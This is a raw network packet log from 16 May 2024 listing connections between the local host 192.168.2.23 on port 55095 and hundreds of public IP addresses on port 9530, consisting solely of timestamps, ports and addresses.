May 16, 2024 16:38:49.954372883 CEST	55095	9530	192.168.2.23	138.13.58.44
May 16, 2024 16:38:49.954377890 CEST	9530	55095	174.28.203.78	192.168.2.23
May 16, 2024 16:38:49.954381943 CEST	9530	55095	59.246.212.42	192.168.2.23
May 16, 2024 16:38:49.954386950 CEST	9530	55095	218.115.255.255	192.168.2.23
May 16, 2024 16:38:49.954420090 CEST	55095	9530	192.168.2.23	213.120.228.69
May 16, 2024 16:38:49.954432964 CEST	55095	9530	192.168.2.23	59.246.212.42
May 16, 2024 16:38:49.954433918 CEST	55095	9530	192.168.2.23	141.132.151.43
May 16, 2024 16:38:49.954433918 CEST	55095	9530	192.168.2.23	192.211.140.72
May 16, 2024 16:38:49.954433918 CEST	55095	9530	192.168.2.23	174.28.203.78
May 16, 2024 16:38:49.954436064 CEST	55095	9530	192.168.2.23	218.115.255.255
May 16, 2024 16:38:49.958233118 CEST	9530	55095	9.133.219.51	192.168.2.23
May 16, 2024 16:38:49.958245039 CEST	9530	55095	139.243.11.88	192.168.2.23
May 16, 2024 16:38:49.958255053 CEST	9530	55095	42.171.28.88	192.168.2.23
May 16, 2024 16:38:49.958265066 CEST	9530	55095	8.189.186.31	192.168.2.23
May 16, 2024 16:38:49.958273888 CEST	9530	55095	192.130.156.82	192.168.2.23
May 16, 2024 16:38:49.958282948 CEST	9530	55095	210.72.204.62	192.168.2.23
May 16, 2024 16:38:49.958291054 CEST	9530	55095	130.55.107.132	192.168.2.23
May 16, 2024 16:38:49.958302021 CEST	9530	55095	136.209.25.59	192.168.2.23
May 16, 2024 16:38:49.958307981 CEST	55095	9530	192.168.2.23	139.243.11.88
May 16, 2024 16:38:49.958307981 CEST	55095	9530	192.168.2.23	8.189.186.31
May 16, 2024 16:38:49.958307981 CEST	55095	9530	192.168.2.23	210.72.204.62
May 16, 2024 16:38:49.958312035 CEST	9530	55095	43.62.69.12	192.168.2.23
May 16, 2024 16:38:49.958322048 CEST	9530	55095	85.116.254.11	192.168.2.23
May 16, 2024 16:38:49.958332062 CEST	9530	55095	137.100.150.31	192.168.2.23
May 16, 2024 16:38:49.958342075 CEST	9530	55095	137.231.30.29	192.168.2.23
May 16, 2024 16:38:49.958350897 CEST	9530	55095	110.7.73.58	192.168.2.23
May 16, 2024 16:38:49.958363056 CEST	9530	55095	54.169.51.49	192.168.2.23
May 16, 2024 16:38:49.958369970 CEST	9530	55095	204.143.186.74	192.168.2.23
May 16, 2024 16:38:49.958379984 CEST	9530	55095	174.70.223.151	192.168.2.23
May 16, 2024 16:38:49.958389044 CEST	9530	55095	199.155.46.135	192.168.2.23
May 16, 2024 16:38:49.958388090 CEST	55095	9530	192.168.2.23	192.130.156.82
May 16, 2024 16:38:49.958388090 CEST	55095	9530	192.168.2.23	9.133.219.51
May 16, 2024 16:38:49.958389044 CEST	55095	9530	192.168.2.23	42.171.28.88
May 16, 2024 16:38:49.958389044 CEST	55095	9530	192.168.2.23	137.100.150.31
May 16, 2024 16:38:49.958393097 CEST	55095	9530	192.168.2.23	43.62.69.12
May 16, 2024 16:38:49.958393097 CEST	55095	9530	192.168.2.23	85.116.254.11
May 16, 2024 16:38:49.958395958 CEST	55095	9530	192.168.2.23	136.209.25.59
May 16, 2024 16:38:49.958395958 CEST	55095	9530	192.168.2.23	130.55.107.132
May 16, 2024 16:38:49.958395958 CEST	55095	9530	192.168.2.23	110.7.73.58
May 16, 2024 16:38:49.958396912 CEST	9530	55095	156.231.208.221	192.168.2.23
May 16, 2024 16:38:49.958406925 CEST	9530	55095	106.179.229.181	192.168.2.23
May 16, 2024 16:38:49.958406925 CEST	55095	9530	192.168.2.23	54.169.51.49
May 16, 2024 16:38:49.958415985 CEST	9530	55095	132.255.198.171	192.168.2.23
May 16, 2024 16:38:49.958426952 CEST	9530	55095	177.57.199.178	192.168.2.23
May 16, 2024 16:38:49.958434105 CEST	55095	9530	192.168.2.23	204.143.186.74
May 16, 2024 16:38:49.958434105 CEST	55095	9530	192.168.2.23	156.231.208.221
May 16, 2024 16:38:49.958435059 CEST	55095	9530	192.168.2.23	174.70.223.151
May 16, 2024 16:38:49.958436012 CEST	9530	55095	57.132.145.11	192.168.2.23
May 16, 2024 16:38:49.958446026 CEST	9530	55095	70.145.42.15	192.168.2.23
May 16, 2024 16:38:49.958446980 CEST	55095	9530	192.168.2.23	137.231.30.29
May 16, 2024 16:38:49.958446980 CEST	55095	9530	192.168.2.23	199.155.46.135
May 16, 2024 16:38:49.958448887 CEST	55095	9530	192.168.2.23	106.179.229.181
May 16, 2024 16:38:49.958456993 CEST	9530	55095	78.205.130.19	192.168.2.23
May 16, 2024 16:38:49.958467007 CEST	55095	9530	192.168.2.23	57.132.145.11
May 16, 2024 16:38:49.958467007 CEST	9530	55095	38.26.226.249	192.168.2.23
May 16, 2024 16:38:49.958468914 CEST	55095	9530	192.168.2.23	132.255.198.171
May 16, 2024 16:38:49.958468914 CEST	55095	9530	192.168.2.23	177.57.199.178
May 16, 2024 16:38:49.958468914 CEST	55095	9530	192.168.2.23	70.145.42.15
May 16, 2024 16:38:49.958478928 CEST	9530	55095	27.197.123.40	192.168.2.23
May 16, 2024 16:38:49.958487988 CEST	9530	55095	152.52.53.48	192.168.2.23
May 16, 2024 16:38:49.958493948 CEST	55095	9530	192.168.2.23	78.205.130.19
May 16, 2024 16:38:49.958496094 CEST	9530	55095	75.94.105.175	192.168.2.23
May 16, 2024 16:38:49.958501101 CEST	9530	55095	61.254.147.56	192.168.2.23
May 16, 2024 16:38:49.958504915 CEST	9530	55095	67.81.71.22	192.168.2.23
May 16, 2024 16:38:49.958508015 CEST	9530	55095	150.58.221.254	192.168.2.23
May 16, 2024 16:38:49.958511114 CEST	9530	55095	40.87.196.70	192.168.2.23
May 16, 2024 16:38:49.958513975 CEST	9530	55095	70.47.113.159	192.168.2.23
May 16, 2024 16:38:49.958517075 CEST	9530	55095	183.50.16.110	192.168.2.23
May 16, 2024 16:38:49.958519936 CEST	9530	55095	131.80.230.228	192.168.2.23
May 16, 2024 16:38:49.958523035 CEST	9530	55095	200.84.226.141	192.168.2.23
May 16, 2024 16:38:49.958525896 CEST	9530	55095	133.1.253.127	192.168.2.23
May 16, 2024 16:38:49.958528996 CEST	9530	55095	143.145.184.118	192.168.2.23
May 16, 2024 16:38:49.958533049 CEST	9530	55095	138.159.83.221	192.168.2.23
May 16, 2024 16:38:49.958535910 CEST	9530	55095	14.132.193.90	192.168.2.23
May 16, 2024 16:38:49.958539009 CEST	9530	55095	97.19.244.156	192.168.2.23
May 16, 2024 16:38:49.958583117 CEST	55095	9530	192.168.2.23	152.52.53.48
May 16, 2024 16:38:49.958583117 CEST	55095	9530	192.168.2.23	27.197.123.40
May 16, 2024 16:38:49.958589077 CEST	55095	9530	192.168.2.23	75.94.105.175
May 16, 2024 16:38:49.958595991 CEST	55095	9530	192.168.2.23	133.1.253.127
May 16, 2024 16:38:49.958596945 CEST	55095	9530	192.168.2.23	61.254.147.56
May 16, 2024 16:38:49.958596945 CEST	55095	9530	192.168.2.23	40.87.196.70
May 16, 2024 16:38:49.958601952 CEST	55095	9530	192.168.2.23	150.58.221.254
May 16, 2024 16:38:49.958611012 CEST	55095	9530	192.168.2.23	97.19.244.156
May 16, 2024 16:38:49.958612919 CEST	55095	9530	192.168.2.23	138.159.83.221
May 16, 2024 16:38:49.958612919 CEST	55095	9530	192.168.2.23	38.26.226.249
May 16, 2024 16:38:49.958620071 CEST	55095	9530	192.168.2.23	70.47.113.159
May 16, 2024 16:38:49.958620071 CEST	55095	9530	192.168.2.23	67.81.71.22
May 16, 2024 16:38:49.958620071 CEST	55095	9530	192.168.2.23	183.50.16.110
May 16, 2024 16:38:49.958625078 CEST	55095	9530	192.168.2.23	131.80.230.228
May 16, 2024 16:38:49.958641052 CEST	55095	9530	192.168.2.23	14.132.193.90
May 16, 2024 16:38:49.958641052 CEST	55095	9530	192.168.2.23	143.145.184.118
May 16, 2024 16:38:49.958641052 CEST	55095	9530	192.168.2.23	200.84.226.141
May 16, 2024 16:38:49.962466002 CEST	9530	55095	108.75.17.181	192.168.2.23
May 16, 2024 16:38:49.962477922 CEST	9530	55095	9.213.94.12	192.168.2.23
May 16, 2024 16:38:49.962486029 CEST	9530	55095	42.144.138.51	192.168.2.23
May 16, 2024 16:38:49.962495089 CEST	9530	55095	91.34.211.62	192.168.2.23
May 16, 2024 16:38:49.962502956 CEST	9530	55095	83.18.115.210	192.168.2.23
May 16, 2024 16:38:49.962512970 CEST	9530	55095	196.181.75.15	192.168.2.23
May 16, 2024 16:38:49.962521076 CEST	9530	55095	87.208.21.14	192.168.2.23
May 16, 2024 16:38:49.962533951 CEST	9530	55095	74.248.60.226	192.168.2.23
May 16, 2024 16:38:49.962534904 CEST	55095	9530	192.168.2.23	108.75.17.181
May 16, 2024 16:38:49.962534904 CEST	55095	9530	192.168.2.23	9.213.94.12
May 16, 2024 16:38:49.962534904 CEST	55095	9530	192.168.2.23	91.34.211.62
May 16, 2024 16:38:49.962541103 CEST	55095	9530	192.168.2.23	42.144.138.51
May 16, 2024 16:38:49.962541103 CEST	55095	9530	192.168.2.23	83.18.115.210
May 16, 2024 16:38:49.962544918 CEST	9530	55095	68.173.139.96	192.168.2.23
May 16, 2024 16:38:49.962546110 CEST	55095	9530	192.168.2.23	196.181.75.15
May 16, 2024 16:38:49.962554932 CEST	9530	55095	194.231.187.34	192.168.2.23
May 16, 2024 16:38:49.962563038 CEST	9530	55095	222.36.40.41	192.168.2.23
May 16, 2024 16:38:49.962570906 CEST	55095	9530	192.168.2.23	87.208.21.14
May 16, 2024 16:38:49.962570906 CEST	55095	9530	192.168.2.23	74.248.60.226
May 16, 2024 16:38:49.962572098 CEST	9530	55095	9.9.203.206	192.168.2.23
May 16, 2024 16:38:49.962582111 CEST	9530	55095	166.44.70.73	192.168.2.23
May 16, 2024 16:38:49.962589979 CEST	9530	55095	211.75.182.24	192.168.2.23
May 16, 2024 16:38:49.962594032 CEST	55095	9530	192.168.2.23	68.173.139.96
May 16, 2024 16:38:49.962594032 CEST	55095	9530	192.168.2.23	194.231.187.34
May 16, 2024 16:38:49.962599039 CEST	9530	55095	12.108.190.229	192.168.2.23
May 16, 2024 16:38:49.962608099 CEST	9530	55095	130.243.139.126	192.168.2.23
May 16, 2024 16:38:49.962609053 CEST	55095	9530	192.168.2.23	222.36.40.41
May 16, 2024 16:38:49.962611914 CEST	55095	9530	192.168.2.23	166.44.70.73
May 16, 2024 16:38:49.962615967 CEST	9530	55095	103.16.85.17	192.168.2.23
May 16, 2024 16:38:49.962625980 CEST	9530	55095	163.248.87.214	192.168.2.23
May 16, 2024 16:38:49.962635040 CEST	9530	55095	64.249.151.76	192.168.2.23
May 16, 2024 16:38:49.962642908 CEST	9530	55095	85.210.221.88	192.168.2.23
May 16, 2024 16:38:49.962652922 CEST	9530	55095	101.43.7.28	192.168.2.23
May 16, 2024 16:38:49.962661982 CEST	9530	55095	152.235.9.105	192.168.2.23
May 16, 2024 16:38:49.962671041 CEST	9530	55095	109.242.112.11	192.168.2.23
May 16, 2024 16:38:49.962680101 CEST	9530	55095	23.0.77.120	192.168.2.23
May 16, 2024 16:38:49.962682962 CEST	55095	9530	192.168.2.23	211.75.182.24
May 16, 2024 16:38:49.962685108 CEST	9530	55095	172.57.169.95	192.168.2.23
May 16, 2024 16:38:49.962686062 CEST	55095	9530	192.168.2.23	163.248.87.214
May 16, 2024 16:38:49.962686062 CEST	55095	9530	192.168.2.23	12.108.190.229
May 16, 2024 16:38:49.962687969 CEST	9530	55095	79.123.218.11	192.168.2.23
May 16, 2024 16:38:49.962692976 CEST	55095	9530	192.168.2.23	130.243.139.126
May 16, 2024 16:38:49.962693930 CEST	55095	9530	192.168.2.23	9.9.203.206
May 16, 2024 16:38:49.962693930 CEST	55095	9530	192.168.2.23	64.249.151.76
May 16, 2024 16:38:49.962693930 CEST	55095	9530	192.168.2.23	85.210.221.88
May 16, 2024 16:38:49.962693930 CEST	55095	9530	192.168.2.23	101.43.7.28
May 16, 2024 16:38:49.962696075 CEST	55095	9530	192.168.2.23	103.16.85.17
May 16, 2024 16:38:49.962697029 CEST	9530	55095	68.16.217.81	192.168.2.23
May 16, 2024 16:38:49.962712049 CEST	9530	55095	201.251.211.137	192.168.2.23
May 16, 2024 16:38:49.962721109 CEST	9530	55095	92.180.136.82	192.168.2.23
May 16, 2024 16:38:49.962723017 CEST	55095	9530	192.168.2.23	152.235.9.105
May 16, 2024 16:38:49.962728024 CEST	55095	9530	192.168.2.23	23.0.77.120
May 16, 2024 16:38:49.962728024 CEST	55095	9530	192.168.2.23	79.123.218.11
May 16, 2024 16:38:49.962728977 CEST	55095	9530	192.168.2.23	109.242.112.11
May 16, 2024 16:38:49.962729931 CEST	9530	55095	153.159.108.48	192.168.2.23
May 16, 2024 16:38:49.962738037 CEST	55095	9530	192.168.2.23	68.16.217.81
May 16, 2024 16:38:49.962738991 CEST	55095	9530	192.168.2.23	172.57.169.95
May 16, 2024 16:38:49.962742090 CEST	9530	55095	100.217.135.220	192.168.2.23
May 16, 2024 16:38:49.962752104 CEST	9530	55095	116.83.238.5	192.168.2.23
May 16, 2024 16:38:49.962759018 CEST	55095	9530	192.168.2.23	201.251.211.137
May 16, 2024 16:38:49.962760925 CEST	9530	55095	178.23.75.217	192.168.2.23
May 16, 2024 16:38:49.962768078 CEST	55095	9530	192.168.2.23	92.180.136.82
May 16, 2024 16:38:49.962771893 CEST	9530	55095	87.233.112.243	192.168.2.23
May 16, 2024 16:38:49.962779045 CEST	55095	9530	192.168.2.23	100.217.135.220
May 16, 2024 16:38:49.962779045 CEST	55095	9530	192.168.2.23	116.83.238.5
May 16, 2024 16:38:49.962781906 CEST	9530	55095	148.182.127.211	192.168.2.23
May 16, 2024 16:38:49.962781906 CEST	55095	9530	192.168.2.23	153.159.108.48
May 16, 2024 16:38:49.962790966 CEST	9530	55095	155.18.192.209	192.168.2.23
May 16, 2024 16:38:49.962800026 CEST	9530	55095	13.129.167.252	192.168.2.23
May 16, 2024 16:38:49.962809086 CEST	9530	55095	100.171.174.239	192.168.2.23
May 16, 2024 16:38:49.962821960 CEST	9530	55095	58.251.58.248	192.168.2.23
May 16, 2024 16:38:49.962824106 CEST	55095	9530	192.168.2.23	178.23.75.217
May 16, 2024 16:38:49.962824106 CEST	55095	9530	192.168.2.23	87.233.112.243
May 16, 2024 16:38:49.962824106 CEST	55095	9530	192.168.2.23	148.182.127.211
May 16, 2024 16:38:49.962824106 CEST	55095	9530	192.168.2.23	155.18.192.209
May 16, 2024 16:38:49.962831974 CEST	9530	55095	212.172.241.165	192.168.2.23
May 16, 2024 16:38:49.962838888 CEST	55095	9530	192.168.2.23	13.129.167.252
May 16, 2024 16:38:49.962904930 CEST	55095	9530	192.168.2.23	212.172.241.165
May 16, 2024 16:38:49.962915897 CEST	55095	9530	192.168.2.23	100.171.174.239
May 16, 2024 16:38:49.962955952 CEST	55095	9530	192.168.2.23	58.251.58.248
May 16, 2024 16:38:49.966630936 CEST	9530	55095	182.155.55.105	192.168.2.23
May 16, 2024 16:38:49.966640949 CEST	9530	55095	193.100.110.168	192.168.2.23
May 16, 2024 16:38:49.966650963 CEST	9530	55095	197.97.32.247	192.168.2.23
May 16, 2024 16:38:49.966660023 CEST	9530	55095	182.66.157.62	192.168.2.23
May 16, 2024 16:38:49.966669083 CEST	9530	55095	78.49.146.242	192.168.2.23
May 16, 2024 16:38:49.966677904 CEST	9530	55095	13.53.245.40	192.168.2.23
May 16, 2024 16:38:49.966686964 CEST	9530	55095	133.235.180.230	192.168.2.23
May 16, 2024 16:38:49.966696024 CEST	9530	55095	160.116.76.5	192.168.2.23
May 16, 2024 16:38:49.966703892 CEST	9530	55095	53.119.191.92	192.168.2.23
May 16, 2024 16:38:49.966713905 CEST	9530	55095	61.225.117.109	192.168.2.23
May 16, 2024 16:38:49.966722965 CEST	9530	55095	221.167.78.123	192.168.2.23
May 16, 2024 16:38:49.966732025 CEST	9530	55095	120.79.22.121	192.168.2.23
May 16, 2024 16:38:49.966736078 CEST	55095	9530	192.168.2.23	182.155.55.105
May 16, 2024 16:38:49.966739893 CEST	9530	55095	116.42.49.127	192.168.2.23
May 16, 2024 16:38:49.966748953 CEST	9530	55095	129.223.201.218	192.168.2.23
May 16, 2024 16:38:49.966751099 CEST	55095	9530	192.168.2.23	53.119.191.92
May 16, 2024 16:38:49.966753006 CEST	55095	9530	192.168.2.23	221.167.78.123
May 16, 2024 16:38:49.966758013 CEST	9530	55095	153.71.162.208	192.168.2.23
May 16, 2024 16:38:49.966766119 CEST	9530	55095	172.190.111.62	192.168.2.23
May 16, 2024 16:38:49.966778040 CEST	9530	55095	178.146.112.196	192.168.2.23
May 16, 2024 16:38:49.966779947 CEST	55095	9530	192.168.2.23	120.79.22.121
May 16, 2024 16:38:49.966788054 CEST	9530	55095	162.153.147.195	192.168.2.23
May 16, 2024 16:38:49.966793060 CEST	55095	9530	192.168.2.23	197.97.32.247
May 16, 2024 16:38:49.966793060 CEST	55095	9530	192.168.2.23	78.49.146.242
May 16, 2024 16:38:49.966793060 CEST	55095	9530	192.168.2.23	133.235.180.230
May 16, 2024 16:38:49.966798067 CEST	9530	55095	222.246.198.153	192.168.2.23
May 16, 2024 16:38:49.966805935 CEST	9530	55095	195.115.196.17	192.168.2.23
May 16, 2024 16:38:49.966806889 CEST	55095	9530	192.168.2.23	13.53.245.40
May 16, 2024 16:38:49.966806889 CEST	55095	9530	192.168.2.23	193.100.110.168
May 16, 2024 16:38:49.966806889 CEST	55095	9530	192.168.2.23	182.66.157.62
May 16, 2024 16:38:49.966809988 CEST	9530	55095	125.119.21.162	192.168.2.23
May 16, 2024 16:38:49.966820002 CEST	9530	55095	219.98.40.71	192.168.2.23
May 16, 2024 16:38:49.966828108 CEST	55095	9530	192.168.2.23	160.116.76.5
May 16, 2024 16:38:49.966830015 CEST	9530	55095	57.250.67.193	192.168.2.23
May 16, 2024 16:38:49.966840029 CEST	9530	55095	158.238.240.78	192.168.2.23
May 16, 2024 16:38:49.966850042 CEST	9530	55095	187.158.233.173	192.168.2.23
May 16, 2024 16:38:49.966859102 CEST	9530	55095	113.77.132.9	192.168.2.23
May 16, 2024 16:38:49.966866970 CEST	9530	55095	109.138.49.110	192.168.2.23
May 16, 2024 16:38:49.966871977 CEST	55095	9530	192.168.2.23	116.42.49.127
May 16, 2024 16:38:49.966876984 CEST	9530	55095	162.88.147.130	192.168.2.23
May 16, 2024 16:38:49.966887951 CEST	9530	55095	199.118.149.165	192.168.2.23
May 16, 2024 16:38:49.966897011 CEST	9530	55095	200.139.206.174	192.168.2.23
May 16, 2024 16:38:49.966905117 CEST	55095	9530	192.168.2.23	125.119.21.162
May 16, 2024 16:38:49.966905117 CEST	55095	9530	192.168.2.23	219.98.40.71
May 16, 2024 16:38:49.966905117 CEST	9530	55095	48.106.178.150	192.168.2.23
May 16, 2024 16:38:49.966906071 CEST	55095	9530	192.168.2.23	129.223.201.218
May 16, 2024 16:38:49.966906071 CEST	55095	9530	192.168.2.23	178.146.112.196
May 16, 2024 16:38:49.966906071 CEST	55095	9530	192.168.2.23	195.115.196.17
May 16, 2024 16:38:49.966906071 CEST	55095	9530	192.168.2.23	222.246.198.153
May 16, 2024 16:38:49.966909885 CEST	55095	9530	192.168.2.23	172.190.111.62
May 16, 2024 16:38:49.966912985 CEST	55095	9530	192.168.2.23	61.225.117.109
May 16, 2024 16:38:49.966913939 CEST	55095	9530	192.168.2.23	113.77.132.9
May 16, 2024 16:38:49.966917992 CEST	9530	55095	172.131.136.1	192.168.2.23
May 16, 2024 16:38:49.966919899 CEST	55095	9530	192.168.2.23	57.250.67.193
May 16, 2024 16:38:49.966919899 CEST	55095	9530	192.168.2.23	187.158.233.173
May 16, 2024 16:38:49.966919899 CEST	55095	9530	192.168.2.23	162.88.147.130
May 16, 2024 16:38:49.966928005 CEST	9530	55095	194.201.170.40	192.168.2.23
May 16, 2024 16:38:49.966928959 CEST	55095	9530	192.168.2.23	199.118.149.165
May 16, 2024 16:38:49.966928959 CEST	55095	9530	192.168.2.23	200.139.206.174
May 16, 2024 16:38:49.966929913 CEST	55095	9530	192.168.2.23	48.106.178.150
May 16, 2024 16:38:49.966936111 CEST	9530	55095	152.254.252.19	192.168.2.23
May 16, 2024 16:38:49.966945887 CEST	9530	55095	207.221.0.92	192.168.2.23
May 16, 2024 16:38:49.966954947 CEST	9530	55095	152.25.9.180	192.168.2.23
May 16, 2024 16:38:49.966959000 CEST	55095	9530	192.168.2.23	158.238.240.78
May 16, 2024 16:38:49.966959000 CEST	55095	9530	192.168.2.23	153.71.162.208
May 16, 2024 16:38:49.966959000 CEST	55095	9530	192.168.2.23	162.153.147.195
May 16, 2024 16:38:49.966962099 CEST	55095	9530	192.168.2.23	172.131.136.1
May 16, 2024 16:38:49.966964006 CEST	9530	55095	169.129.73.171	192.168.2.23
May 16, 2024 16:38:49.966968060 CEST	55095	9530	192.168.2.23	109.138.49.110
May 16, 2024 16:38:49.966973066 CEST	9530	55095	24.245.107.245	192.168.2.23
May 16, 2024 16:38:49.966981888 CEST	9530	55095	142.5.137.94	192.168.2.23
May 16, 2024 16:38:49.966981888 CEST	55095	9530	192.168.2.23	194.201.170.40
May 16, 2024 16:38:49.966984034 CEST	55095	9530	192.168.2.23	152.254.252.19
May 16, 2024 16:38:49.966991901 CEST	9530	55095	209.115.157.139	192.168.2.23
May 16, 2024 16:38:49.967001915 CEST	9530	55095	42.252.36.247	192.168.2.23
May 16, 2024 16:38:49.967011929 CEST	55095	9530	192.168.2.23	207.221.0.92
May 16, 2024 16:38:49.967011929 CEST	55095	9530	192.168.2.23	24.245.107.245
May 16, 2024 16:38:49.967016935 CEST	55095	9530	192.168.2.23	152.25.9.180
May 16, 2024 16:38:49.967016935 CEST	55095	9530	192.168.2.23	169.129.73.171
May 16, 2024 16:38:49.967022896 CEST	55095	9530	192.168.2.23	142.5.137.94
May 16, 2024 16:38:49.967068911 CEST	55095	9530	192.168.2.23	209.115.157.139
May 16, 2024 16:38:49.967134953 CEST	55095	9530	192.168.2.23	42.252.36.247
May 16, 2024 16:38:49.970830917 CEST	9530	55095	36.10.114.9	192.168.2.23
May 16, 2024 16:38:49.970844030 CEST	9530	55095	137.105.66.106	192.168.2.23
May 16, 2024 16:38:49.970854044 CEST	9530	55095	207.138.101.215	192.168.2.23
May 16, 2024 16:38:49.970863104 CEST	9530	55095	19.117.111.50	192.168.2.23
May 16, 2024 16:38:49.970873117 CEST	9530	55095	221.179.50.89	192.168.2.23
May 16, 2024 16:38:49.970882893 CEST	9530	55095	136.246.61.240	192.168.2.23
May 16, 2024 16:38:49.970884085 CEST	55095	9530	192.168.2.23	36.10.114.9
May 16, 2024 16:38:49.970890999 CEST	9530	55095	90.156.2.13	192.168.2.23
May 16, 2024 16:38:49.970891953 CEST	55095	9530	192.168.2.23	207.138.101.215
May 16, 2024 16:38:49.970896006 CEST	55095	9530	192.168.2.23	137.105.66.106
May 16, 2024 16:38:49.970902920 CEST	9530	55095	51.129.247.200	192.168.2.23
May 16, 2024 16:38:49.970911980 CEST	9530	55095	64.114.146.77	192.168.2.23
May 16, 2024 16:38:49.970921040 CEST	9530	55095	157.254.250.213	192.168.2.23
May 16, 2024 16:38:49.970930099 CEST	9530	55095	147.232.64.89	192.168.2.23
May 16, 2024 16:38:49.970938921 CEST	9530	55095	122.119.34.89	192.168.2.23
May 16, 2024 16:38:49.970947981 CEST	9530	55095	129.122.62.184	192.168.2.23
May 16, 2024 16:38:49.970957041 CEST	55095	9530	192.168.2.23	51.129.247.200
May 16, 2024 16:38:49.970957041 CEST	9530	55095	146.36.27.108	192.168.2.23
May 16, 2024 16:38:49.970966101 CEST	9530	55095	135.124.229.42	192.168.2.23
May 16, 2024 16:38:49.970974922 CEST	9530	55095	36.22.100.22	192.168.2.23
May 16, 2024 16:38:49.970980883 CEST	55095	9530	192.168.2.23	221.179.50.89
May 16, 2024 16:38:49.970980883 CEST	55095	9530	192.168.2.23	136.246.61.240
May 16, 2024 16:38:49.970982075 CEST	55095	9530	192.168.2.23	64.114.146.77
May 16, 2024 16:38:49.970982075 CEST	55095	9530	192.168.2.23	19.117.111.50
May 16, 2024 16:38:49.970982075 CEST	55095	9530	192.168.2.23	157.254.250.213
May 16, 2024 16:38:49.970982075 CEST	55095	9530	192.168.2.23	90.156.2.13
May 16, 2024 16:38:49.970985889 CEST	9530	55095	91.131.191.20	192.168.2.23
May 16, 2024 16:38:49.970990896 CEST	55095	9530	192.168.2.23	147.232.64.89
May 16, 2024 16:38:49.970993042 CEST	55095	9530	192.168.2.23	129.122.62.184
May 16, 2024 16:38:49.970995903 CEST	9530	55095	49.176.84.189	192.168.2.23
May 16, 2024 16:38:49.970999002 CEST	55095	9530	192.168.2.23	122.119.34.89
May 16, 2024 16:38:49.971003056 CEST	55095	9530	192.168.2.23	135.124.229.42
May 16, 2024 16:38:49.971005917 CEST	9530	55095	97.152.137.251	192.168.2.23
May 16, 2024 16:38:49.971014977 CEST	9530	55095	222.113.23.90	192.168.2.23
May 16, 2024 16:38:49.971016884 CEST	55095	9530	192.168.2.23	36.22.100.22
May 16, 2024 16:38:49.971019030 CEST	55095	9530	192.168.2.23	91.131.191.20
May 16, 2024 16:38:49.971019030 CEST	55095	9530	192.168.2.23	49.176.84.189
May 16, 2024 16:38:49.971020937 CEST	55095	9530	192.168.2.23	146.36.27.108
May 16, 2024 16:38:49.971024990 CEST	9530	55095	150.75.133.219	192.168.2.23
May 16, 2024 16:38:49.971029043 CEST	55095	9530	192.168.2.23	97.152.137.251
May 16, 2024 16:38:49.971036911 CEST	9530	55095	110.200.48.211	192.168.2.23
May 16, 2024 16:38:49.971045971 CEST	9530	55095	18.215.151.81	192.168.2.23
May 16, 2024 16:38:49.971052885 CEST	55095	9530	192.168.2.23	222.113.23.90
May 16, 2024 16:38:49.971055984 CEST	9530	55095	108.252.177.198	192.168.2.23
May 16, 2024 16:38:49.971056938 CEST	55095	9530	192.168.2.23	150.75.133.219
May 16, 2024 16:38:49.971060991 CEST	55095	9530	192.168.2.23	110.200.48.211
May 16, 2024 16:38:49.971067905 CEST	9530	55095	70.143.66.98	192.168.2.23
May 16, 2024 16:38:49.971077919 CEST	9530	55095	51.134.25.217	192.168.2.23
May 16, 2024 16:38:49.971084118 CEST	55095	9530	192.168.2.23	18.215.151.81
May 16, 2024 16:38:49.971086979 CEST	9530	55095	77.84.50.56	192.168.2.23
May 16, 2024 16:38:49.971096992 CEST	9530	55095	98.214.86.62	192.168.2.23
May 16, 2024 16:38:49.971096992 CEST	55095	9530	192.168.2.23	108.252.177.198
May 16, 2024 16:38:49.971106052 CEST	9530	55095	156.0.154.129	192.168.2.23
May 16, 2024 16:38:49.971111059 CEST	55095	9530	192.168.2.23	70.143.66.98
May 16, 2024 16:38:49.971116066 CEST	9530	55095	202.224.197.149	192.168.2.23
May 16, 2024 16:38:49.971126080 CEST	9530	55095	207.111.171.145	192.168.2.23
May 16, 2024 16:38:49.971128941 CEST	55095	9530	192.168.2.23	77.84.50.56
May 16, 2024 16:38:49.971128941 CEST	55095	9530	192.168.2.23	51.134.25.217
May 16, 2024 16:38:49.971128941 CEST	55095	9530	192.168.2.23	98.214.86.62
May 16, 2024 16:38:49.971133947 CEST	9530	55095	100.206.45.162	192.168.2.23
May 16, 2024 16:38:49.971143007 CEST	55095	9530	192.168.2.23	156.0.154.129
May 16, 2024 16:38:49.971143007 CEST	55095	9530	192.168.2.23	202.224.197.149
May 16, 2024 16:38:49.971143007 CEST	9530	55095	201.102.141.108	192.168.2.23
May 16, 2024 16:38:49.971143007 CEST	55095	9530	192.168.2.23	207.111.171.145
May 16, 2024 16:38:49.971153975 CEST	9530	55095	41.164.34.54	192.168.2.23
May 16, 2024 16:38:49.971163034 CEST	9530	55095	182.230.224.29	192.168.2.23
May 16, 2024 16:38:49.971163988 CEST	55095	9530	192.168.2.23	100.206.45.162
May 16, 2024 16:38:49.971172094 CEST	9530	55095	176.98.199.15	192.168.2.23
May 16, 2024 16:38:49.971180916 CEST	9530	55095	195.207.14.240	192.168.2.23
May 16, 2024 16:38:49.971182108 CEST	55095	9530	192.168.2.23	41.164.34.54
May 16, 2024 16:38:49.971182108 CEST	55095	9530	192.168.2.23	201.102.141.108
May 16, 2024 16:38:49.971189976 CEST	9530	55095	85.195.5.138	192.168.2.23
May 16, 2024 16:38:49.971198082 CEST	9530	55095	71.117.108.200	192.168.2.23
May 16, 2024 16:38:49.971199989 CEST	55095	9530	192.168.2.23	176.98.199.15
May 16, 2024 16:38:49.971199989 CEST	55095	9530	192.168.2.23	182.230.224.29
May 16, 2024 16:38:49.971208096 CEST	9530	55095	109.57.130.125	192.168.2.23
May 16, 2024 16:38:49.971215010 CEST	55095	9530	192.168.2.23	195.207.14.240
May 16, 2024 16:38:49.971221924 CEST	9530	55095	37.129.49.220	192.168.2.23
May 16, 2024 16:38:49.971235037 CEST	55095	9530	192.168.2.23	85.195.5.138
May 16, 2024 16:38:49.971252918 CEST	55095	9530	192.168.2.23	71.117.108.200
May 16, 2024 16:38:49.971255064 CEST	55095	9530	192.168.2.23	109.57.130.125
May 16, 2024 16:38:49.973793983 CEST	55095	9530	192.168.2.23	37.129.49.220
May 16, 2024 16:38:49.974837065 CEST	9530	55095	111.237.98.121	192.168.2.23
May 16, 2024 16:38:49.974854946 CEST	9530	55095	191.28.101.197	192.168.2.23
May 16, 2024 16:38:49.974864960 CEST	9530	55095	92.33.82.176	192.168.2.23
May 16, 2024 16:38:49.974874020 CEST	9530	55095	73.20.90.6	192.168.2.23
